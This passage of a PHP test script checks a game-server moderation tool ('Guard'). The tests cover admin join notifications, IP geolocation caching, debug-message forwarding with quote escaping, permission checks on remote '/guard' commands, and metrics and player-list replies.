$noTzOnlinePlayersProperty = $noTzReflection->getProperty('onlinePlayers');
$noTzOnlinePlayersProperty->setAccessible(true);
$noTzOnlinePlayersProperty->setValue($guardForNoTimezone, [
'AdminOne' => ['player_id' => 'AdminOne', 'player_name' => 'AdminOne', 'player_ip' => '1.2.3.4', 'player_country' => 'unknown', 'player_network' => 'unknown', 'player_timezone' => null],
]);
$guardForNoTimezone->handleLogLine('PLAYER_ENTERED_GRID player_no_tz 9.9.9.9 Player NoTZ');
$test->assertEquals(1, count($noTzCommands), "onConnect emits admin message even without timezone data");
$test->assertContains('time=unknown', $noTzCommands[0] ?? '', "join {{time}} shows 'unknown' (not server clock) when ipinfo.io provides no timezone");
$multiAdminCommands = [];
$multiAdminRegistry = new ActionRegistry(function (string $command) use (&$multiAdminCommands): void {
$multiAdminCommands[] = $command;
});
$guardForMultiAdmin = new Guard(
new IpInfoClient('https://ipinfo.io', null, 2),
new Matcher([['name' => 'never-match', 'pattern' => '/^$/']]),
$multiAdminRegistry,
new Logger(),
new GuardConfig(
adminRecipients: ['AdminOne', 'AdminTwo'],
onConnectMessageTemplate: '{{player_id}} is connecting from {{country_name}} ({{country_code}}), network: {{network_name}}.',
onConnectActions: [
'# CONSOLE_MESSAGE {{player_id}} is connecting from {{country_name}} ({{country_code}}), network: {{network_name}}.',
'PLAYER_MESSAGE {{admin}} "{{msg}}"',
],
onMatchActions: [],
retryDelaysMs: [100],
maxAttempts: 1,
cacheTtlSeconds: 1800,
dedupeWindowSeconds: 15,
),
new Metrics()
);
$multiGuardReflection = new ReflectionClass($guardForMultiAdmin);
$multiCacheProperty = $multiGuardReflection->getProperty('ipCache');
$multiCacheProperty->setAccessible(true);
$multiCacheProperty->setValue($guardForMultiAdmin, [
'1.1.1.1' => [
'networkName' => 'Cloudflare, Inc.',
'country' => 'Australia',
'countryCode' => 'AU',
'countryName' => 'Australia',
'expiresAt' => microtime(true) + 60,
],
]);
$multiOnlinePlayersProperty = $multiGuardReflection->getProperty('onlinePlayers');
$multiOnlinePlayersProperty->setAccessible(true);
$multiOnlinePlayersProperty->setValue($guardForMultiAdmin, [
'AdminOne' => ['player_id' => 'AdminOne', 'player_name' => 'AdminOne', 'player_ip' => '5.5.5.5', 'player_country' => 'unknown', 'player_network' => 'unknown', 'player_timezone' => null],
'AdminTwo' => ['player_id' => 'AdminTwo', 'player_name' => 'AdminTwo', 'player_ip' => '6.6.6.6', 'player_country' => 'unknown', 'player_network' => 'unknown', 'player_timezone' => null],
]);
$guardForMultiAdmin->handleLogLine('PLAYER_ENTERED_GRID player_two 1.1.1.1 Player Two');
$test->assertEquals(3, count($multiAdminCommands), "One console message and two admin messages are emitted for two present admins");
$test->assertContains('# CONSOLE_MESSAGE', $multiAdminCommands[0] ?? '', "First command is single CONSOLE_MESSAGE");
$test->assertContains('AdminOne', $multiAdminCommands[1] ?? '', "Second command targets first admin");
$test->assertContains('AdminTwo', $multiAdminCommands[2] ?? '', "Third command targets second admin");
echo "\n";
// ===================================================================
// Test 9: Debug forwarding to admins for all levels
// ===================================================================
echo "Test 9: Debug forwarding in Logger\n";
echo str_repeat("-", 60) . "\n";
$forwardedMessages = [];
$loggerWithForwarding = new Logger(static function (string $level, string $message) use (&$forwardedMessages): void {
$forwardedMessages[] = ['level' => $level, 'message' => $message];
});
$loggerWithForwarding->debug('Debug message for admins (network=P4 Sp. z o.o.=true)');
$loggerWithForwarding->warning('Warning should be forwarded');
$loggerWithForwarding->error('Error should be forwarded');
$test->assertEquals(3, count($forwardedMessages), "DEBUG, WARN and ERROR messages are forwarded");
$test->assertEquals('DEBUG', $forwardedMessages[0]['level'] ?? null, "DEBUG level is preserved");
$test->assertEquals('WARN', $forwardedMessages[1]['level'] ?? null, "WARN level is preserved");
$test->assertEquals('ERROR', $forwardedMessages[2]['level'] ?? null, "ERROR level is preserved");
$test->assertEquals('Debug message for admins (network=P4 Sp. z o.o.=true)', $forwardedMessages[0]['message'] ?? null, "Forwarded DEBUG message content is preserved");
$debugCommands = [];
$debugRegistry = new ActionRegistry(function (string $command) use (&$debugCommands): void {
$debugCommands[] = $command;
});
$forwardingCallback = static function (string $level, string $message) use ($debugRegistry): void {
$debugRegistry->executeTemplatesWithRawValues([
'PLAYER_MESSAGE {{admin}} "0xff0000>> 0x888888[GUARD] 0xffffff [{{level}}] {{msg}}"',
], [
'admin' => 'P4@thefarm51.com',
'level' => $level,
'msg' => $message,
], ['msg']);
};
$forwardingCallback('WARN', 'Warning message (network=P4 Sp. z o.o.=true) "quoted"');
$test->assertEquals(1, count($debugCommands), "Forwarded template emits one command");
$test->assertContains('[WARN]', $debugCommands[0], "Forwarded message includes level tag");
$test->assertContains('(network=P4 Sp. z o.o.=true)', $debugCommands[0], "Preserves parentheses and equals in debug message");
$test->assertContains('\\"quoted\\"', $debugCommands[0], "Escapes quoted text in debug message");
$forwardedWithoutCallback = [];
$loggerWithoutForwarding = new Logger();
$loggerWithoutForwarding->debug('Debug without callback');
$test->assertEquals(0, count($forwardedWithoutCallback), "Logger works without debug forwarding callback");
echo "\n";
// ===================================================================
// Test 9b: Remote command metrics
// ===================================================================
echo "Test 9b: Remote command metrics\n";
echo str_repeat("-", 60) . "\n";
$buildGuardForRemoteCommandTest = function (array $adminRecipients, array &$emittedCommands, Metrics $metrics): Guard {
$emittedCommands = [];
$actionRegistry = new ActionRegistry(function (string $command) use (&$emittedCommands): void {
$emittedCommands[] = $command;
});
return new Guard(
new IpInfoClient('https://ipinfo.io', null, 2, 0, $metrics),
new Matcher([]),
$actionRegistry,
new Logger(),
new GuardConfig(
adminRecipients: $adminRecipients,
onConnectMessageTemplate: '{{player_id}} joined from {{country_name}}',
onConnectActions: ['PLAYER_MESSAGE {{admin}} "{{msg}}"'],
onMatchActions: [],
retryDelaysMs: [100],
maxAttempts: 1,
cacheTtlSeconds: 60,
dedupeWindowSeconds: 15,
onMetricsActions: ['PLAYER_MESSAGE {{admin}} "bans={{bans}} lookups={{lookups}} cacheSize={{cache_size}} invalidIps={{invalid_ips}} runtime={{runtime}}"'],
onErrorQuotes: ['TEST_ERROR_QUOTE'],
onErrorActions: ['PLAYER_MESSAGE {{player_id}} "{{msg}}"'],
),
$metrics
);
};
$remoteParseMetrics = new Metrics();
$remoteParseCommands = [];
$remoteParseGuard = $buildGuardForRemoteCommandTest(['internal_admin'], $remoteParseCommands, $remoteParseMetrics);
$remoteReflection = new ReflectionClass($remoteParseGuard);
$parseInvalidCommandMethod = $remoteReflection->getMethod('parseInvalidCommand');
$parseInvalidCommandMethod->setAccessible(true);
$parsedRemoteCommand = $parseInvalidCommandMethod->invoke(
$remoteParseGuard,
'INVALID_COMMAND guard internal_admin 8.8.8.8 2 metrics now please'
);
$test->assertEquals(true, is_array($parsedRemoteCommand), 'Parses valid INVALID_COMMAND line');
$test->assertEquals('guard', $parsedRemoteCommand['commandName'] ?? null, 'Extracts remote command name');
$test->assertEquals('internal_admin', $parsedRemoteCommand['playerId'] ?? null, 'Extracts remote command player id');
$test->assertEquals('8.8.8.8', $parsedRemoteCommand['playerIp'] ?? null, 'Extracts remote command player ip');
$test->assertEquals(2, $parsedRemoteCommand['playerLevel'] ?? null, 'Extracts remote command player level');
$test->assertEquals('metrics now please', $parsedRemoteCommand['commandArgs'] ?? null, 'Preserves remote command arguments with spaces');
$malformedRemoteLines = [
'INVALID_COMMAND guard internal_admin 8.8.8.8 metrics',
'INVALID_COMMAND guard internal_admin 8.8.8.8 not-a-number metrics',
'INVALID_COMMAND guard internal_admin not-an-ip 2 metrics',
];
foreach ($malformedRemoteLines as $malformedRemoteLine) {
$test->assertEquals(
null,
$parseInvalidCommandMethod->invoke($remoteParseGuard, $malformedRemoteLine),
"Rejects malformed INVALID_COMMAND line: {$malformedRemoteLine}"
);
}
$internalAdminMetrics = new Metrics();
$internalAdminMetrics->bans = 3;
$internalAdminMetrics->lookups = 5;
$internalAdminMetrics->invalidIps = 1;
$internalAdminCommands = [];
$internalAdminGuard = $buildGuardForRemoteCommandTest(['internal_admin', 'other_admin'], $internalAdminCommands, $internalAdminMetrics);
$internalAdminReflection = new ReflectionClass($internalAdminGuard);
$internalAdminCacheProperty = $internalAdminReflection->getProperty('ipCache');
$internalAdminCacheProperty->setAccessible(true);
$internalAdminCacheProperty->setValue($internalAdminGuard, [
'8.8.8.8' => [
'networkName' => 'ExampleNet',
'country' => 'US',
'countryCode' => 'US',
'countryName' => 'United States',
'expiresAt' => microtime(true) + 60,
],
]);
$buildMetricsLogStringMethod = $internalAdminReflection->getMethod('buildMetricsLogString');
$buildMetricsLogStringMethod->setAccessible(true);
$test->assertContains('cache_size=1', $buildMetricsLogStringMethod->invoke($internalAdminGuard), 'Metrics debug log includes live cache size');
$internalAdminGuard->handleLogLine('INVALID_COMMAND guard internal_admin 8.8.8.8 0 metrics');
$test->assertEquals(1, count($internalAdminCommands), 'Internal admin metrics request emits one command');
$test->assertContains('PLAYER_MESSAGE internal_admin', $internalAdminCommands[0] ?? '', 'Internal admin metrics target the requester');
$test->assertNotContains('other_admin', $internalAdminCommands[0] ?? '', 'Internal admin metrics do not target other admins');
$test->assertContains('bans=3', $internalAdminCommands[0] ?? '', 'Internal admin metrics include counters');
$test->assertContains('cacheSize=1', $internalAdminCommands[0] ?? '', 'Internal admin metrics include live cache size');
$moderatorMetrics = new Metrics();
$moderatorMetrics->bans = 4;
$moderatorCommands = [];
$moderatorGuard = $buildGuardForRemoteCommandTest(['internal_admin'], $moderatorCommands, $moderatorMetrics);
$moderatorGuard->handleLogLine('INVALID_COMMAND guard moderator_user 8.8.4.4 2 metrics');
$test->assertEquals(1, count($moderatorCommands), 'Moderator metrics request emits one command');
$test->assertContains('PLAYER_MESSAGE moderator_user', $moderatorCommands[0] ?? '', 'Moderator metrics target the requesting moderator');
$unauthorizedMetrics = new Metrics();
$unauthorizedCommands = [];
$unauthorizedGuard = $buildGuardForRemoteCommandTest(['internal_admin'], $unauthorizedCommands, $unauthorizedMetrics);
$unauthorizedGuard->handleLogLine('INVALID_COMMAND guard regular_user 8.8.8.8 1 metrics');
$test->assertEquals(1, count($unauthorizedCommands), 'Unauthorized remote metrics request gets a private onError reply');
$test->assertContains('PLAYER_MESSAGE regular_user', $unauthorizedCommands[0] ?? '', 'Unauthorized onError reply targets the requester');
$test->assertContains('TEST_ERROR_QUOTE', $unauthorizedCommands[0] ?? '', 'Unauthorized onError reply includes configured quote');
$unknownRemoteMetrics = new Metrics();
$unknownRemoteCommands = [];
$unknownRemoteGuard = $buildGuardForRemoteCommandTest(['internal_admin'], $unknownRemoteCommands, $unknownRemoteMetrics);
$unknownRemoteGuard->handleLogLine('INVALID_COMMAND guard internal_admin 8.8.8.8 2 status');
$test->assertEquals(1, count($unknownRemoteCommands), 'Unknown remote guard subcommand gets a private onError reply');
$test->assertContains('PLAYER_MESSAGE internal_admin', $unknownRemoteCommands[0] ?? '', 'Unknown-subcommand onError reply targets the requester');
$test->assertContains('TEST_ERROR_QUOTE', $unknownRemoteCommands[0] ?? '', 'Unknown-subcommand onError reply includes configured quote');
$bareGuardMetrics = new Metrics();
$bareGuardCommands = [];
$bareGuardGuard = $buildGuardForRemoteCommandTest(['internal_admin'], $bareGuardCommands, $bareGuardMetrics);
$bareGuardGuard->handleLogLine('INVALID_COMMAND guard internal_admin 8.8.8.8 2');
$test->assertEquals(1, count($bareGuardCommands), 'Bare /guard with no subcommand gets a private onError reply');
$test->assertContains('PLAYER_MESSAGE internal_admin', $bareGuardCommands[0] ?? '', 'Bare /guard onError reply targets the requester');
$test->assertContains('TEST_ERROR_QUOTE', $bareGuardCommands[0] ?? '', 'Bare /guard onError reply includes configured quote');
$noQuotesConfigured = [];
$noQuotesMetrics = new Metrics();
$noQuotesActionRegistry = new ActionRegistry(function (string $command) use (&$noQuotesConfigured): void {
$noQuotesConfigured[] = $command;
});
$noQuotesGuard = new Guard(
new IpInfoClient('https://ipinfo.io', null, 2, 0, $noQuotesMetrics),
new Matcher([]),
$noQuotesActionRegistry,
new Logger(),
new GuardConfig(
adminRecipients: ['internal_admin'],
onConnectMessageTemplate: '{{player_id}} joined from {{country_name}}',
onConnectActions: [],
onMatchActions: [],
retryDelaysMs: [100],
maxAttempts: 1,
cacheTtlSeconds: 60,
dedupeWindowSeconds: 15,
),
$noQuotesMetrics
);
$noQuotesGuard->handleLogLine('INVALID_COMMAND guard internal_admin 8.8.8.8 2 status');
$test->assertEquals(0, count($noQuotesConfigured), 'Unknown subcommand stays silent when onError is unconfigured');
$quotesOnlyConfigured = [];
$quotesOnlyMetrics = new Metrics();
$quotesOnlyActionRegistry = new ActionRegistry(function (string $command) use (&$quotesOnlyConfigured): void {
$quotesOnlyConfigured[] = $command;
});
$quotesOnlyGuard = new Guard(
new IpInfoClient('https://ipinfo.io', null, 2, 0, $quotesOnlyMetrics),
new Matcher([]),
$quotesOnlyActionRegistry,
new Logger(),
new GuardConfig(
adminRecipients: ['internal_admin'],
onConnectMessageTemplate: '{{player_id}} joined from {{country_name}}',
onConnectActions: [],
onMatchActions: [],
retryDelaysMs: [100],
maxAttempts: 1,
cacheTtlSeconds: 60,
dedupeWindowSeconds: 15,
onErrorQuotes: ['TEST_ERROR_QUOTE'],
),
$quotesOnlyMetrics
);
$quotesOnlyGuard->handleLogLine('INVALID_COMMAND guard internal_admin 8.8.8.8 2 status');
$test->assertEquals(0, count($quotesOnlyConfigured), 'Unknown subcommand stays silent when onErrorMessage is configured but onError actions are not');
$presentAdminMetrics = new Metrics();
$presentAdminCommands = [];
$presentAdminGuard = $buildGuardForRemoteCommandTest(['admin_online', 'admin_offline'], $presentAdminCommands, $presentAdminMetrics);
$presentAdminReflection = new ReflectionClass($presentAdminGuard);
$presentOnlinePlayersProperty = $presentAdminReflection->getProperty('onlinePlayers');
$presentOnlinePlayersProperty->setAccessible(true);
$presentOnlinePlayersProperty->setValue($presentAdminGuard, [
'admin_online' => [
'player_id' => 'admin_online',
'player_name' => 'Admin Online',
'player_ip' => '8.8.8.8',
'player_country' => 'United States',
'player_network' => 'Example ISP',
],
'regular_user' => [
'player_id' => 'regular_user',
'player_name' => 'Regular User',
'player_ip' => '9.9.9.9',
'player_country' => 'United States',
'player_network' => 'Another ISP',
],
]);
$presentAdminGuard->reportMetrics();
$test->assertEquals(1, count($presentAdminCommands), 'Periodic metrics emit only to present admins');
$test->assertContains('PLAYER_MESSAGE admin_online', $presentAdminCommands[0] ?? '', 'Periodic metrics target present admin');
$test->assertNotContains('admin_offline', $presentAdminCommands[0] ?? '', 'Periodic metrics skip absent admin');
$absentAdminMetrics = new Metrics();
$absentAdminCommands = [];
$absentAdminGuard = $buildGuardForRemoteCommandTest(['admin_offline'], $absentAdminCommands, $absentAdminMetrics);
$absentAdminReflection = new ReflectionClass($absentAdminGuard);
$absentOnlinePlayersProperty = $absentAdminReflection->getProperty('onlinePlayers');
$absentOnlinePlayersProperty->setAccessible(true);
$absentOnlinePlayersProperty->setValue($absentAdminGuard, []);
$absentAdminGuard->reportMetrics();
$test->assertEquals(0, count($absentAdminCommands), 'Periodic metrics emit nothing when no admin is present');
$playersMetrics = new Metrics();
$playersCommands = [];
$playersGuard = $buildGuardForRemoteCommandTest(['internal_admin'], $playersCommands, $playersMetrics);
$playersReflection = new ReflectionClass($playersGuard);
$playersCacheProperty = $playersReflection->getProperty('ipCache');
$playersCacheProperty->setAccessible(true);
$playersCacheProperty->setValue($playersGuard, [
'8.8.8.8' => [
'networkName' => 'Example ISP',
'country' => 'United States',
'countryCode' => 'US',
'countryName' => 'United States',
'timezone' => 'America/Los_Angeles',
'expiresAt' => microtime(true) + 60,
],
]);
$playersGuard->handleLogLine('PLAYER_ENTERED_GRID player_1 8.8.8.8 Player One');
$playersGuard->handleLogLine('INVALID_COMMAND guard internal_admin 8.8.8.8 2 players');
$playerListCommands = array_values(array_filter(
$playersCommands,
static fn (string $command): bool => str_contains($command, 'id=0xffff00player_1')
));
$test->assertEquals(1, count($playerListCommands), 'Remote players command emits one line per tracked player');
$test->assertContains('PLAYER_MESSAGE internal_admin', $playerListCommands[0] ?? '', 'Remote players response targets requester only');
$test->assertContains('name=0xffff00Player One', $playerListCommands[0] ?? '', 'Remote players response includes player_name');
$test->assertContains('country=0xffff00United States', $playerListCommands[0] ?? '', 'Remote players response includes player_country');
$test->assertContains('network=0xffff00Example ISP', $playerListCommands[0] ?? '', 'Remote players response includes player_network');
$test->assert(preg_match('/time=0xffff00\d{2}:\d{2}/', $playerListCommands[0] ?? '') === 1, 'Remote players response includes time field in HH:MM format');
$expectedLosAngelesTime = (new DateTimeImmutable('now', new DateTimeZone('America/Los_Angeles')))->format('H:i');
$test->assertContains('time=0xffff00' . $expectedLosAngelesTime, $playerListCommands[0] ?? '', 'Remote players response uses player\'s own timezone (America/Los_Angeles), not server local time');
$playersCommands = [];
$playersGuard->handleLogLine('PLAYER_LEFT player_1 8.8.8.8 Player One');
$playersGuard->handleLogLine('INVALID_COMMAND guard internal_admin 8.8.8.8 2 players');
$test->assertEquals(1, count($playersCommands), 'Remote players command emits one response when list is empty');
$test->assertContains('No tracked players online.', $playersCommands[0] ?? '', 'Remote players command reports empty tracked list after PLAYER_LEFT');
$playersCommands = [];
$playersGuard->handleLogLine('PLAYER_ENTERED_GRID vanbozo 8.8.8.8 vanbozo');
$playersGuard->handleLogLine('PLAYER_RENAMED vanbozo vanbozo@rcl 8.8.8.8 1 vanbozo');
$playersGuard->handleLogLine('INVALID_COMMAND guard internal_admin 8.8.8.8 2 players');
$renamedPlayerListCommands = array_values(array_filter(
$playersCommands,
static fn (string $command): bool => str_contains($command, 'id=0xffff00')
));
$test->assertEquals(1, count($renamedPlayerListCommands), 'Remote players command emits one list row for renamed player');
$test->assertContains('id=0xffff00vanbozo@rcl', $renamedPlayerListCommands[0] ?? '', 'Remote players response uses renamed player id');